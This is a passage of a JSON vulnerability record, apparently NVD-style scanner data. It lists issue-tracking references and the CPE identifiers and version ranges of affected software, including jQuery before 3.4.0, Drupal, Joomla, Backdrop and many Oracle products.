              "name": "ISSUE_TRACKING"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E",
              "name": "ISSUE_TRACKING"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "1.11.0",
                "versionEndExcluding": "1.11.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "1.12.0",
                "versionEndExcluding": "1.12.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "7.0",
                "versionEndExcluding": "7.66"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.5.0",
                "versionEndExcluding": "8.5.15"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.6.0",
                "versionEndExcluding": "8.6.15"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "3.0.0",
                "versionEndIncluding": "3.9.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:oncommand_system_manager:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "3.0",
                "versionEndIncluding": "3.1.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:netapp:snapcenter:-:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:opensuse:backports_sle:15.0:sp1:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:agile_product_lifecycle_management_for_process:6.2.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_express:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "19.1"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_service_level_management:13.2.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_service_level_management:13.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:12.5.0.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.1.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.2.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:application_testing_suite:13.3.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:18.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:19.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:19.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_digital_experience:20.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_enterprise_collections:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.7.0",
                "versionEndIncluding": "2.8.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:banking_platform:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.4.0",
                "versionEndIncluding": "2.10.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:bi_publisher:5.5.0.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:bi_publisher:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:bi_publisher:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:big_data_discovery:1.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_process_management_suite:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:business_process_management_suite:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_analytics:12.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_application_session_controller:3.8m0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:7.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:7.5.0.23.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:12.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_billing_and_revenue_management:12.0.0.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_diameter_signaling_router:8.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_diameter_signaling_router:8.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_diameter_signaling_router:8.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_diameter_signaling_router:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_eagle_application_processor:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "16.1.0",
                "versionEndIncluding": "16.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_element_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_interactive_session_recorder:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "6.0",
                "versionEndIncluding": "6.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.1",
                "versionEndIncluding": "4.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:3.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_operations_monitor:4.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_services_gatekeeper:7.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_report_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_session_route_manager:8.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_unified_inventory_management:7.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_unified_inventory_management:7.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:communications_webrtc_session_controller:7.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:diagnostic_assistant:2.12.36:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.3.3:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_manager_ops_center:12.4.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:enterprise_session_border_controller:8.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "7.3.3",
                "versionEndIncluding": "7.3.5"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_infrastructure:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.2",
                "versionEndIncluding": "8.1.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_reconciliation_framework:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_analytical_applications_reconciliation_framework:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_asset_liability_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_balance_sheet_planning:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_basic:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_basic:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_internal_ratings_based_approach:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_basel_regulatory_capital_internal_ratings_based_approach:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_foundation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_governance_for_us_regulatory_reporting:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.6",
                "versionEndIncluding": "8.0.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.5",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_data_integration_hub:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_enterprise_financial_performance_analytics:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_enterprise_financial_performance_analytics:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_funds_transfer_pricing:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_hedge_management_and_ifrs_valuations:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_hedge_management_and_ifrs_valuations:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_institutional_performance_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_institutional_performance_analytics:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.0.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.4.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.5.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_liquidity_risk_measurement_and_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_loan_loss_forecasting_and_provisioning:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.2",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_loan_loss_forecasting_and_provisioning:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_market_risk_measurement_and_management:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_price_creation_and_discovery:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_profitability_management:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_de_nederlandsche_bank:8.0.4:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_european_banking_authority:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_european_banking_authority:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_regulatory_reporting_for_us_federal_reserve:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_retail_customer_analytics:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.6"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_retail_performance_analytics:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_retail_performance_analytics:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_revenue_management_and_billing:2.4.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:financial_services_revenue_management_and_billing:2.4.0.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:fusion_middleware_mapviewer:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.2.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_foundation:7.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.3.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.3.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:healthcare_translational_research:3.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_guest_access:4.2.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_guest_access:4.2.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_materials_control:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "19.1.0",
                "versionEndIncluding": "19.1.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:18.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:hospitality_simphony:18.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:identity_manager:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_accounting_analyzer:8.0.9:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_allocation_manager_for_enterprise_profitability:8.0.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_allocation_manager_for_enterprise_profitability:8.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_data_foundation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.0.4",
                "versionEndIncluding": "8.0.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_ifrs_17_analyzer:8.0.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_ifrs_17_analyzer:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "5.0.0.0",
                "versionEndIncluding": "5.6.0.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_insbridge_rating_and_underwriting:5.6.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:insurance_performance_insight:8.0.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jd_edwards_enterpriseone_tools:9.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper:12.2.1.4.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper_and_adf:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper_and_adf:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:jdeveloper_and_adf:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:knowledge:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "8.6.0",
                "versionEndIncluding": "8.6.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.55:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.56:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.57:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:8.58:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.2.0",
                "versionEndIncluding": "12.2.15"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation:10.4.7:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation:12.1.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation:12.1.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation_connector_for_siebel:10.4.6:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:policy_automation_for_mobile_devices:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "12.2.0",
                "versionEndIncluding": "12.2.15"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "16.2.0",
                "versionEndIncluding": "16.2.11"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "17.12.0",
                "versionEndIncluding": "17.12.7"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "18.8.0",
                "versionEndIncluding": "18.8.9"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "19.12.0",
                "versionEndIncluding": "19.12.4"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_gateway:15.2.18:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "17.7",
                "versionEndIncluding": "17.12"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:16.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:16.2:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:primavera_unifier:18.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:real-time_scheduler:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "2.3.0.1",
                "versionEndIncluding": "2.3.0.3"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:18c:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:19c:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:11.2.0.4:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:12.1.0.2:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:rest_data_services:12.2.0.1:*:*:*:-:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_back_office:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_back_office:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_central_office:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_central_office:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_insights:15.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_insights:16.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_management_and_segmentation_foundation:18.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_customer_management_and_segmentation_foundation:19.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_point-of-service:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_point-of-service:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_returns_management:14.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:retail_returns_management:14.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:service_bus:11.1.1.9.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:service_bus:12.1.3.0.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:service_bus:12.2.1.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_mobile_applications:*:*:*:*:*:*:*:*",
                "versionEndIncluding": "19.8"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:siebel_ui_framework:20.8:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:storagetek_tape_analytics_sw_tool:2.3.0:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:system_utilities:19.1:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:oracle:tape_library_acsls:8.5:*:*:*:*:*:*:*"
              }
            },
            {
              "software": {
